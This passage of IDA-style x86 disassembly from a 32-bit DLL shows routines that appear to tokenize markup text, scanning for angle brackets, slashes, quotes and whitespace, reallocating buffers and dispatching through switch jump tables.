var_4		= dword	ptr -4
Size		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+Size]
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	edi, [ebx]
		mov	eax, [esi]
		add	edi, [ebx+8]
		cmp	eax, off_10023EFC
		mov	[ebp+var_4], ecx
		jnz	short loc_100195A1
		mov	cl, [edi]
		mov	eax, edi


loc_10019570:				; CODE XREF: sub_1001954D+42j
		test	cl, cl
		jz	short loc_100195E6
		cmp	cl, 3Ch
		jz	short loc_10019591
		cmp	cl, 3Eh
		jz	short loc_100195AD
		mov	edx, off_10023F80
		movzx	ecx, cl
		movsx	ecx, byte ptr [ecx+edx]
		add	eax, ecx
		mov	cl, [eax]
		jmp	short loc_10019570
; ---------------------------------------------------------------------------


loc_10019591:				; CODE XREF: sub_1001954D+2Aj
		mov	eax, off_10023F84
		mov	[esi+8], eax
		push	off_10023F84
		jmp	short loc_100195A4
; ---------------------------------------------------------------------------


loc_100195A1:				; CODE XREF: sub_1001954D+1Dj
		push	dword ptr [esi+8]


loc_100195A4:				; CODE XREF: sub_1001954D+52j
		push	edi
		call	ds:_mbsstr	; _mbsstr
		pop	ecx
		pop	ecx


loc_100195AD:				; CODE XREF: sub_1001954D+2Fj
		test	eax, eax
		jz	short loc_100195E6
		push	dword ptr [esi+8] ; Str
		sub	eax, edi
		mov	[ebp+Size], eax
		call	strlen	; strlen
		add	eax, [ebp+Size]
		pop	ecx
		push	0FFFFFFFFh	; int
		add	[ebx+8], eax
		push	dword ptr [esi+8] ; int
		push	dword ptr [esi]	; int
		push	[ebp+Size]	; Size
		push	edi		; Src
		call	sub_10018D0C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_4]
		push	eax		; Memory
		push	32h		; int
		call	sub_100194D2
		xor	al, al
		jmp	short loc_100195EF
; ---------------------------------------------------------------------------


loc_100195E6:				; CODE XREF: sub_1001954D+25j
					; sub_1001954D+62j
		mov	dword ptr [ebx+10h], 8
		mov	al, 1


loc_100195EF:				; CODE XREF: sub_1001954D+97j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_1001954D	endp


; =============== S U B	R O U T	I N E =======================================



sub_100195F6	proc near		; CODE XREF: sub_10019709+406p
					; sub_10019709+465p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, ds:realloc
		mov	eax, [esi+2Ch]
		test	eax, eax
		jz	short loc_1001961E
		mov	ecx, [esi+0Ch]
		add	ecx, [esi+8]
		add	ecx, [esi+4]
		shl	ecx, 2
		push	ecx		; NewSize
		push	eax		; Memory
		call	edi ; realloc
		pop	ecx
		mov	[esi+2Ch], eax
		pop	ecx


loc_1001961E:				; CODE XREF: sub_100195F6+11j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_10019634
		mov	ecx, [esi+4]
		shl	ecx, 2
		push	ecx		; NewSize
		push	eax		; Memory
		call	edi ; realloc
		pop	ecx
		mov	[esi+1Ch], eax
		pop	ecx


loc_10019634:				; CODE XREF: sub_100195F6+2Dj
		mov	eax, [esi+28h]
		test	eax, eax
		jz	short loc_1001964A
		mov	ecx, [esi+10h]
		shl	ecx, 3
		push	ecx		; NewSize
		push	eax		; Memory
		call	edi ; realloc
		pop	ecx
		mov	[esi+28h], eax
		pop	ecx


loc_1001964A:				; CODE XREF: sub_100195F6+43j
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_10019660
		mov	ecx, [esi+8]
		shl	ecx, 2
		push	ecx		; NewSize
		push	eax		; Memory
		call	edi ; realloc
		pop	ecx
		mov	[esi+20h], eax
		pop	ecx


loc_10019660:				; CODE XREF: sub_100195F6+59j
		mov	ecx, [esi+24h]
		test	ecx, ecx
		jz	short loc_10019679
		mov	eax, [esi+0Ch]
		lea	eax, [eax+eax*2]
		shl	eax, 2
		push	eax		; NewSize
		push	ecx		; Memory
		call	edi ; realloc
		pop	ecx
		mov	[esi+24h], eax
		pop	ecx


loc_10019679:				; CODE XREF: sub_100195F6+6Fj
		pop	edi
		pop	esi
		retn
sub_100195F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1001967C	proc near		; CODE XREF: sub_10019709+98p
					; sub_10019709+CAp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		mov	ecx, [edi+4]
		test	ecx, ecx
		jz	short loc_10019702
		mov	al, byte_10023EED
		push	esi
		mov	esi, [ebp+arg_4]
		test	al, al
		jz	short loc_100196B8


loc_1001969B:				; CODE XREF: sub_1001967C+3Aj
		mov	dl, [ecx]
		cmp	dl, 0Ah
		jz	short loc_100196B1
		cmp	dl, 20h
		jz	short loc_100196B1
		cmp	dl, 9
		jz	short loc_100196B1
		cmp	dl, 0Dh
		jnz	short loc_100196B8


loc_100196B1:				; CODE XREF: sub_1001967C+24j
					; sub_1001967C+29j ...
		cmp	ecx, esi
		jz	short loc_100196B8
		inc	ecx
		jmp	short loc_1001969B
; ---------------------------------------------------------------------------


loc_100196B8:				; CODE XREF: sub_1001967C+1Dj
					; sub_1001967C+33j ...
		sub	esi, ecx
		mov	edx, esi
		pop	esi
		jz	short loc_100196FE
		test	al, al
		jz	short loc_100196DA


loc_100196C3:				; CODE XREF: sub_1001967C+4Fj
					; sub_1001967C+53j ...
		dec	edx
		jz	short loc_100196D9
		mov	al, [edx+ecx]
		cmp	al, 0Ah
		jz	short loc_100196C3
		cmp	al, 20h
		jz	short loc_100196C3
		cmp	al, 9
		jz	short loc_100196C3
		cmp	al, 0Dh
		jz	short loc_100196C3


loc_100196D9:				; CODE XREF: sub_1001967C+48j
		inc	edx


loc_100196DA:				; CODE XREF: sub_1001967C+45j
		test	edx, edx
		jz	short loc_100196FE
		push	edi		; int
		push	edx		; int
		push	ecx		; Memory
		call	sub_10018E33
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_100196F1
		mov	al, 1
		jmp	short loc_10019704
; ---------------------------------------------------------------------------


loc_100196F1:				; CODE XREF: sub_1001967C+6Fj
		mov	ecx, [ebp+var_4]
		push	0FFFFFFFFh	; int
		push	eax		; Memory
		push	32h		; int
		call	sub_1001947D


loc_100196FE:				; CODE XREF: sub_1001967C+41j
					; sub_1001967C+60j
		and	dword ptr [edi+4], 0


loc_10019702:				; CODE XREF: sub_1001967C+10j
		xor	al, al


loc_10019704:				; CODE XREF: sub_1001967C+73j
		pop	edi
		leave
		retn	8
sub_1001967C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_10019709(size_t Size)

sub_10019709	proc near		; CODE XREF: sub_10019709+142p
					; sub_10019DAA+77p

var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
Src		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
Size		= dword	ptr  8

		mov	eax, offset loc_1001D278
		call	_EH_prolog	; _EH_prolog
		sub	esp, 30h
		push	ebx
		xor	eax, eax
		push	esi
		push	edi
		mov	[ebp+var_14], ecx
		mov	[ebp+Src], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_1C], eax
		mov	esi, [ebp+Size]
		mov	[ebp+var_4], eax
		mov	[ebp+var_24], eax
		cmp	[esi+24h], eax
		jz	short loc_10019741
		mov	[esi+24h], eax
		mov	[ebp+var_28], 1
		jmp	short loc_10019744
; ---------------------------------------------------------------------------


loc_10019741:				; CODE XREF: sub_10019709+2Aj
		mov	[ebp+var_28], eax


loc_10019744:				; CODE XREF: sub_10019709+36j
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+Size]
		push	eax
		push	esi
		call	sub_10019BC6
		add	esp, 0Ch
		mov	edi, eax
		mov	eax, [ebp+var_18]
		mov	ebx, edx
		push	9
		mov	[ebp+var_3C], edi
		pop	edx
		cmp	eax, edx
		jz	loc_10019A54
		jmp	short loc_1001976F
; ---------------------------------------------------------------------------


loc_1001976C:				; CODE XREF: sub_10019709+345j
		push	9
		pop	edx


loc_1001976F:				; CODE XREF: sub_10019709+61j
		mov	ecx, [ebp+var_28]
		sub	ecx, 0
		jz	loc_100198D2
		dec	ecx
		jnz	loc_10019A30	; default
		mov	ecx, eax
		dec	ecx
		dec	ecx
		jz	short loc_100197C5
		dec	ecx
		jz	loc_10019A91
		sub	ecx, 3
		jz	short loc_100197C5
		dec	ecx
		dec	ecx
		jnz	loc_10019A30	; default
		mov	ecx, [ebp+var_14]
		push	ebx
		push	esi
		call	sub_1001967C
		test	al, al
		jnz	loc_10019ADB
		mov	ecx, [ebp+var_14]
		push	edi		; int
		push	esi		; Size
		call	sub_1001954D
		test	al, al
		jnz	loc_10019ADB
		jmp	loc_10019A28
; ---------------------------------------------------------------------------


loc_100197C5:				; CODE XREF: sub_10019709+7Dj
					; sub_10019709+89j
		mov	ecx, [ebp+var_14]
		cmp	eax, 6
		setz	al
		push	ebx
		push	esi
		mov	[ebp+var_2C], al
		call	sub_1001967C
		test	al, al
		jnz	loc_10019ADB
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+Size]
		push	eax
		push	esi
		call	sub_10019BC6
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		mov	[ebp+var_3C], eax
		jnz	loc_10019B17
		push	0FFFFFFFFh	; int
		push	dword ptr [ebp+var_2C] ; char
		push	[ebp+Size]	; Size
		push	edx		; Src
		call	sub_10018D0C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_14]
		push	eax		; Memory
		lea	eax, [ebp+var_30]
		push	32h		; int
		push	eax		; int
		call	sub_1001936C
		push	eax
		lea	ecx, [ebp+var_1C]
		mov	byte ptr [ebp+var_4], 1
		call	sub_1001A8A2
		and	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_30]
		call	sub_1001A728


loc_10019837:				; CODE XREF: sub_10019709+1B2j
					; sub_10019709+1C4j
		lea	ecx, [ebp+var_1C]
		call	sub_1001AAEC
		test	al, al
		jnz	loc_10019A30	; default
		push	esi		; Size
		lea	ecx, [ebp+var_1C]
		call	sub_10019709
		test	eax, eax
		jz	loc_10019ADB
		xor	edi, edi
		cmp	[esi+18h], edi
		jnz	loc_10019B20
		cmp	[esi+20h], edi
		jz	short loc_100198C0
		mov	ebx, [ebp+var_14]
		push	dword ptr [esi+1Ch] ; int
		mov	eax, [ebx]
		push	dword ptr [eax]	; Str
		call	sub_1001906B
		pop	ecx
		test	al, al
		pop	ecx
		jz	loc_10019B46
		push	0FFFFFFFFh	; int
		push	edi		; char
		push	dword ptr [esi+20h] ; Size
		push	dword ptr [esi+1Ch] ; Src
		call	sub_10018D0C
		pop	ecx
		pop	ecx
		push	eax		; Memory
		lea	eax, [ebp+var_34]
		push	32h		; int
		push	eax		; int
		mov	ecx, ebx
		call	sub_1001936C
		push	eax
		lea	ecx, [ebp+var_1C]
		mov	byte ptr [ebp+var_4], 2
		call	sub_1001A8A2
		and	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_34]
		call	sub_1001A728
		mov	[esi+20h], edi
		jmp	loc_10019837
; ---------------------------------------------------------------------------


loc_100198C0:				; CODE XREF: sub_10019709+15Dj
		push	offset dword_10073FF0
		lea	ecx, [ebp+var_1C]
		call	sub_1001A8A2
		jmp	loc_10019837
; ---------------------------------------------------------------------------


loc_100198D2:				; CODE XREF: sub_10019709+6Cj
		mov	ecx, [ebp+var_24]
		xor	edi, edi
		sub	ecx, edi
		jz	loc_10019A03
		dec	ecx
		jz	loc_1001996C
		dec	ecx
		jnz	loc_10019A30	; default
		cmp	eax, edi
		jl	loc_10019A30	; default
		cmp	eax, 1
		jle	short loc_10019908
		cmp	eax, 8
		jle	loc_10019B4B
		jmp	loc_10019A30	; default
; ---------------------------------------------------------------------------


loc_10019908:				; CODE XREF: sub_10019709+1EFj
		mov	edi, [ebp+var_14]
		mov	ecx, [edi]
		cmp	byte ptr [ecx+14h], 0
		jz	short loc_10019920
		mov	ecx, [ebp+Size]
		cmp	byte ptr [ebx+ecx-1], 3Fh
		jnz	short loc_10019920
		dec	[ebp+Size]


loc_10019920:				; CODE XREF: sub_10019709+208j
					; sub_10019709+212j
		cmp	[ebp+var_10], 0
		jz	short loc_10019963
		cmp	eax, 1
		jnz	short loc_10019930
		inc	ebx
		sub	[ebp+Size], 2


loc_10019930:				; CODE XREF: sub_10019709+220j
		test	ebx, ebx
		mov	eax, ebx
		jz	short loc_1001994B
		push	esi		; int
		push	[ebp+Size]	; int
		push	ebx		; Memory
		call	sub_10018E33
		add	esp, 0Ch
		test	eax, eax
		jz	loc_10019A72


loc_1001994B:				; CODE XREF: sub_10019709+22Bj
		push	eax		; int
		push	[ebp+var_10]	; Size
		push	[ebp+Src]	; Src
		call	sub_10018D0C
		pop	ecx
		pop	ecx
		push	eax		; Memory
		push	32h		; int
		mov	ecx, edi
		call	sub_10019411


loc_10019963:				; CODE XREF: sub_10019709+21Bj
		and	[ebp+var_24], 0
		jmp	loc_10019A30	; default
; ---------------------------------------------------------------------------


loc_1001996C:				; CODE XREF: sub_10019709+1D7j
		cmp	eax, 8		; switch 9 cases
		ja	loc_10019A30	; default
		jmp	ds:off_10019B7E[eax*4] ; switch	jump


loc_1001997C:				; DATA XREF: .text:off_10019B7Eo
		push	edi		; jumptable 10019975 case 0
		push	[ebp+var_10]	; Size
		push	[ebp+Src]	; Src
		call	sub_10018D0C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_14]
		push	eax		; Memory
		push	32h		; int
		call	sub_10019411
		mov	eax, [ebp+Size]
		mov	[ebp+Src], ebx
		mov	[ebp+var_10], eax
		jmp	loc_10019A30	; default
; ---------------------------------------------------------------------------


loc_100199A3:				; CODE XREF: sub_10019709+26Cj
					; DATA XREF: .text:off_10019B7Eo
		mov	ecx, [esi+8]	; jumptable 10019975 cases 4,7
		mov	edi, [ebp+var_14]
		add	ecx, [esi]
		mov	[esi+4], ecx
		mov	ecx, [edi]
		cmp	byte ptr [ecx+14h], 0
		jz	short loc_100199C6
		mov	ecx, [ebp+Src]
		mov	edx, [ebp+var_10]
		cmp	byte ptr [edx+ecx-1], 3Fh
		jnz	short loc_100199C6
		dec	[ebp+var_10]


loc_100199C6:				; CODE XREF: sub_10019709+2ABj
					; sub_10019709+2B8j
		cmp	[ebp+var_10], 0
		jz	short loc_100199E8
		push	0		; int
		push	[ebp+var_10]	; Size
		push	[ebp+Src]	; Src
		call	sub_10018D0C
		pop	ecx
		pop	ecx
		push	eax		; Memory
		push	32h		; int
		mov	ecx, edi
		call	sub_10019411
		mov	eax, [ebp+var_18]


loc_100199E8:				; CODE XREF: sub_10019709+2C1j
		cmp	eax, 7
		jz	loc_10019B0D
		mov	[ebp+var_28], 1
		jmp	short loc_10019A30 ; default
; ---------------------------------------------------------------------------


loc_100199FA:				; CODE XREF: sub_10019709+26Cj
					; DATA XREF: .text:off_10019B7Eo
		mov	[ebp+var_24], 2	; jumptable 10019975 case 5
		jmp	short loc_10019A30 ; default
; ---------------------------------------------------------------------------


loc_10019A03:				; CODE XREF: sub_10019709+1D0j
		cmp	eax, 8		; switch 9 cases
		ja	short loc_10019A30 ; default
		jmp	ds:off_10019BA2[eax*4] ; switch	jump


loc_10019A0F:				; DATA XREF: .text:off_10019BA2o
		mov	eax, [ebp+Size]	; jumptable 10019A08 case 0
		mov	[ebp+Src], ebx
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], 1
		jmp	short loc_10019A30 ; default
; ---------------------------------------------------------------------------


loc_10019A21:				; CODE XREF: sub_10019709+2FFj
					; DATA XREF: .text:off_10019BA2o
		mov	[ebp+var_28], 1	; jumptable 10019A08 case 4


loc_10019A28:				; CODE XREF: sub_10019709+B7j
		mov	eax, [esi+8]
		add	eax, [esi]
		mov	[esi+4], eax


loc_10019A30:				; CODE XREF: sub_10019709+73j
					; sub_10019709+8Dj ...
		lea	eax, [ebp+var_18] ; default
		push	eax
		lea	eax, [ebp+Size]
		push	eax
		push	esi
		call	sub_10019BC6
		mov	edi, eax
		mov	eax, [ebp+var_18]
		add	esp, 0Ch
		cmp	eax, 9
		mov	ebx, edx
		mov	[ebp+var_3C], edi
		jnz	loc_1001976C


loc_10019A54:				; CODE XREF: sub_10019709+5Bj
		mov	eax, [ebp+var_14]
		mov	eax, [eax]
		cmp	byte ptr [eax+14h], 0
		jnz	short loc_10019A72
		cmp	dword ptr [eax+18h], 0
		jz	short loc_10019A72
		mov	eax, [esi+8]
		mov	dword ptr [esi+10h], 1
		mov	[esi+0Ch], eax


loc_10019A72:				; CODE XREF: sub_10019709+23Cj
					; sub_10019709+354j ...
		or	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+var_1C]
		call	sub_1001A728
		xor	eax, eax


loc_10019A80:				; CODE XREF: sub_10019709+45Bj
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_10019A91:				; CODE XREF: sub_10019709+80j
		mov	edi, [ebp+var_14]
		push	ebx
		push	esi
		mov	ecx, edi
		call	sub_1001967C
		test	al, al
		jnz	short loc_10019ADB
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	sub_10019BC6
		add	esp, 0Ch
		cmp	[ebp+var_18], 0
		mov	[ebp+var_3C], eax
		mov	ebx, edx
		jnz	short loc_10019AD4
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+Size]
		push	eax
		push	esi
		call	sub_10019BC6
		add	esp, 0Ch
		cmp	[ebp+var_18], 4
		jz	short loc_10019ADF


loc_10019AD4:				; CODE XREF: sub_10019709+3B2j
		mov	dword ptr [esi+10h], 5


loc_10019ADB:				; CODE XREF: sub_10019709+9Fj
					; sub_10019709+B1j ...
		xor	edi, edi
		jmp	short loc_10019B56
; ---------------------------------------------------------------------------


loc_10019ADF:				; CODE XREF: sub_10019709+3C9j
		mov	eax, [esi]
		push	ebx		; int
		add	eax, [esi+8]
		mov	[esi+4], eax
		mov	eax, [edi]
		push	dword ptr [eax]	; Str
		call	sub_1001906B
		pop	ecx
		test	al, al
		pop	ecx
		jz	short loc_10019B0D
		mov	eax, [esi+8]
		mov	dword ptr [esi+10h], 1
		mov	[esi+0Ch], eax
		mov	eax, [ebp+var_10]
		mov	[esi+14h], ebx
		mov	[esi+18h], eax


loc_10019B0D:				; CODE XREF: sub_10019709+2E2j
					; sub_10019709+3ECj
		push	dword ptr [edi]
		call	sub_100195F6
		pop	ecx
		jmp	short loc_10019B46
; ---------------------------------------------------------------------------


loc_10019B17:				; CODE XREF: sub_10019709+F0j
		mov	dword ptr [esi+10h], 4
		jmp	short loc_10019B56
; ---------------------------------------------------------------------------


loc_10019B20:				; CODE XREF: sub_10019709+154j
		mov	eax, [ebp+var_14]
		mov	eax, [eax]
		mov	eax, [eax]
		cmp	eax, edi
		jnz	short loc_10019B34
		mov	dword ptr [esi+10h], 7
		jmp	short loc_10019B56
; ---------------------------------------------------------------------------


loc_10019B34:				; CODE XREF: sub_10019709+420j
		push	dword ptr [esi+14h] ; int
		push	eax		; Str
		call	sub_1001906B
		pop	ecx
		test	al, al
		pop	ecx
		jnz	short loc_10019B46
		mov	[esi+18h], edi


loc_10019B46:				; CODE XREF: sub_10019709+172j
					; sub_10019709+40Cj ...
		push	1
		pop	edi
		jmp	short loc_10019B56
; ---------------------------------------------------------------------------


loc_10019B4B:				; CODE XREF: sub_10019709+1F4j
		mov	[esi+10h], edx
		jmp	loc_10019A72
; ---------------------------------------------------------------------------


loc_10019B53:				; CODE XREF: sub_10019709+26Cj
					; sub_10019709+2FFj
					; DATA XREF: ...
		mov	[esi+10h], edx	; jumptable 10019975 cases 1-3,6,8
					; jumptable 10019A08 cases 1-3,5,6,8


loc_10019B56:				; CODE XREF: sub_10019709+3D4j
					; sub_10019709+415j ...
		or	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+var_1C]
		call	sub_1001A728
		mov	eax, edi
		jmp	loc_10019A80
; ---------------------------------------------------------------------------


loc_10019B69:				; CODE XREF: sub_10019709+2FFj
					; DATA XREF: .text:off_10019BA2o
		mov	eax, [ebp+var_14] ; jumptable 10019A08 case 7
		push	dword ptr [eax]
		call	sub_100195F6
		mov	eax, [esi+8]
		pop	ecx
		add	eax, [esi]
		mov	[esi+4], eax
		jmp	short loc_10019B46
sub_10019709	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
off_10019B7E	dd offset loc_1001997C	; DATA XREF: sub_10019709+26Cr
		dd offset loc_10019B53	; jump table for switch	statement
		dd offset loc_10019B53
		dd offset loc_10019B53
		dd offset loc_100199A3
		dd offset loc_100199FA
		dd offset loc_10019B53
		dd offset loc_100199A3
		dd offset loc_10019B53
off_10019BA2	dd offset loc_10019A0F	; DATA XREF: sub_10019709+2FFr
		dd offset loc_10019B53	; jump table for switch	statement
		dd offset loc_10019B53
		dd offset loc_10019B53
		dd offset loc_10019A21
		dd offset loc_10019B53
		dd offset loc_10019B53
		dd offset loc_10019B69
		dd offset loc_10019B53

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10019BC6	proc near		; CODE XREF: sub_10019709+44p
					; sub_10019709+E0p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi


loc_10019BD2:				; CODE XREF: sub_10019BC6+1Ej
					; sub_10019BC6+22j ...
		mov	eax, [esi+8]
		push	esi
		mov	[ebp+var_4], eax
		call	sub_10019D87
		cmp	al, 0Ah
		pop	ecx
		mov	byte ptr [ebp+arg_0+3],	al
		jz	short loc_10019BD2
		cmp	al, 20h
		jz	short loc_10019BD2
		cmp	al, 9
		jz	short loc_10019BD2
		cmp	al, 0Dh
		jz	short loc_10019BD2
		test	al, al
		jz	loc_10019D6A
		mov	eax, [esi]
		push	dword_10023EF4
		add	eax, [ebp+var_4]
		mov	ebx, ds:_mbsnbcmp
		mov	edi, offset off_10023EF0
		push	eax
		mov	[ebp+var_8], eax
		push	off_10023EF0


loc_10019C1A:				; CODE XREF: sub_10019BC6+6Ej
		call	ebx ; _mbsnbcmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_10019C36
		mov	eax, [edi+0Ch]
		add	edi, 0Ch
		test	eax, eax
		jz	short loc_10019C4D
		push	dword ptr [edi+4]
		push	[ebp+var_8]
		push	eax
		jmp	short loc_10019C1A
; ---------------------------------------------------------------------------


loc_10019C36:				; CODE XREF: sub_10019BC6+5Bj
		mov	eax, [edi+4]
		dec	eax
		add	[esi+8], eax
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax], 8
		mov	eax, edi
		jmp	loc_10019D7F
; ---------------------------------------------------------------------------


loc_10019C4D:				; CODE XREF: sub_10019BC6+65j
		mov	bl, byte ptr [ebp+arg_0+3]
		mov	edi, [ebp+arg_8]
		movsx	eax, bl
		sub	eax, 22h
		jz	loc_10019CFA
		push	5
		pop	ecx
		sub	eax, ecx
		jz	loc_10019CFA
		sub	eax, 8
		jz	short loc_10019CDD
		sub	eax, 0Dh
		jz	short loc_10019C95
		dec	eax
		jz	short loc_10019C8B
		dec	eax
		jnz	loc_10019D1A
		mov	eax, edi
		mov	dword ptr [eax], 4
		jmp	loc_10019D5D
; ---------------------------------------------------------------------------


loc_10019C8B:				; CODE XREF: sub_10019BC6+AFj
		mov	eax, [ebp+arg_8]
		mov	[eax], ecx
		jmp	loc_10019D5D
; ---------------------------------------------------------------------------


loc_10019C95:				; CODE XREF: sub_10019BC6+ACj
		mov	eax, [esi+8]
		mov	ecx, [esi]
		mov	al, [eax+ecx]
		cmp	al, 2Fh
		jnz	short loc_10019CB6
		push	esi
		call	sub_10019D87
		mov	eax, [ebp+arg_8]
		pop	ecx
		mov	dword ptr [eax], 3
		jmp	loc_10019D5D
; ---------------------------------------------------------------------------


loc_10019CB6:				; CODE XREF: sub_10019BC6+D9j
		cmp	al, 3Fh
		jnz	short loc_10019CCF
		push	esi
		call	sub_10019D87
		mov	eax, [ebp+arg_8]
		pop	ecx
		mov	dword ptr [eax], 6
		jmp	loc_10019D5D
; ---------------------------------------------------------------------------


loc_10019CCF:				; CODE XREF: sub_10019BC6+F2j
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax], 2
		jmp	loc_10019D5D
; ---------------------------------------------------------------------------


loc_10019CDD:				; CODE XREF: sub_10019BC6+A7j
		mov	eax, [esi+8]
		mov	ecx, [esi]
		cmp	byte ptr [eax+ecx], 3Eh
		jnz	short loc_10019D1A
		push	esi
		call	sub_10019D87
		mov	eax, [ebp+arg_8]
		pop	ecx
		mov	dword ptr [eax], 7
		jmp	short loc_10019D5D
; ---------------------------------------------------------------------------


loc_10019CFA:				; CODE XREF: sub_10019BC6+93j
					; sub_10019BC6+9Ej
		mov	dword ptr [edi], 1


loc_10019D00:				; CODE XREF: sub_10019BC6+14Bj
		push	esi
		call	sub_10019D87
		test	al, al
		pop	ecx
		jz	short loc_10019D13
		cmp	al, bl
		jz	short loc_10019D5D
		cmp	al, 3Ch
		jnz	short loc_10019D00


loc_10019D13:				; CODE XREF: sub_10019BC6+143j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[esi+8], eax


loc_10019D1A:				; CODE XREF: sub_10019BC6+B2j
					; sub_10019BC6+120j
		and	dword ptr [edi], 0


loc_10019D1D:				; CODE XREF: sub_10019BC6+181j
		push	esi
		call	sub_10019D87
		test	al, al
		pop	ecx
		jz	short loc_10019D5D
		cmp	al, 0Ah
		jz	short loc_10019D5A
		cmp	al, 20h
		jz	short loc_10019D5A
		cmp	al, 9
		jz	short loc_10019D5A
		cmp	al, 0Dh
		jz	short loc_10019D5A
		cmp	al, 2Fh
		jnz	short loc_10019D49
		mov	eax, [esi+8]
		mov	ecx, [esi]
		cmp	byte ptr [eax+ecx], 3Eh


loc_10019D45:				; CODE XREF: sub_10019BC6+18Dj
		jz	short loc_10019D55
		jmp	short loc_10019D1D
; ---------------------------------------------------------------------------


loc_10019D49:				; CODE XREF: sub_10019BC6+174j
		cmp	al, 3Ch
		jz	short loc_10019D55
		cmp	al, 3Eh
		jz	short loc_10019D55
		cmp	al, 3Dh
		jmp	short loc_10019D45
; ---------------------------------------------------------------------------


loc_10019D55:				; CODE XREF: sub_10019BC6:loc_10019D45j
					; sub_10019BC6+185j ...
		dec	dword ptr [esi+8]
		jmp	short loc_10019D5D
; ---------------------------------------------------------------------------


loc_10019D5A:				; CODE XREF: sub_10019BC6+164j
					; sub_10019BC6+168j ...
		inc	[ebp+var_4]


loc_10019D5D:				; CODE XREF: sub_10019BC6+C0j
					; sub_10019BC6+CAj ...
		mov	eax, [esi+8]
		mov	ecx, [ebp+arg_4]
		sub	eax, [ebp+var_4]
		mov	[ecx], eax
		jmp	short loc_10019D7D
; ---------------------------------------------------------------------------


loc_10019D6A:				; CODE XREF: sub_10019BC6+2Ej
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		mov	eax, [ebp+arg_8]
		and	[ebp+var_8], 0
		mov	dword ptr [eax], 9


loc_10019D7D:				; CODE XREF: sub_10019BC6+1A2j
		xor	eax, eax


loc_10019D7F:				; CODE XREF: sub_10019BC6+82j
		mov	edx, [ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_10019BC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_10019D87	proc near		; CODE XREF: sub_10019BC6+13p
					; sub_10019BC6+DCp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, off_10023F80
		mov	edx, [ecx+8]
		mov	eax, [ecx]
		mov	al, [edx+eax]
		movzx	esi, al
		movsx	esi, byte ptr [esi+edi]
		add	esi, edx
		pop	edi
		mov	[ecx+8], esi
		pop	esi
		retn
sub_10019D87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10019DAA(int,	int, char *Str,	int)

sub_10019DAA	proc near		; CODE XREF: sub_1001A057+195p

Size		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Str		= dword	ptr  10h
arg_C		= dword	ptr  14h

		mov	eax, offset loc_1001D2BB
		call	_EH_prolog	; _EH_prolog
		sub	esp, 38h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		mov	[ebp+var_18], ebx
		jnz	short loc_10019DEB
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jz	short loc_10019DD9
		mov	dword ptr [eax], 0Bh
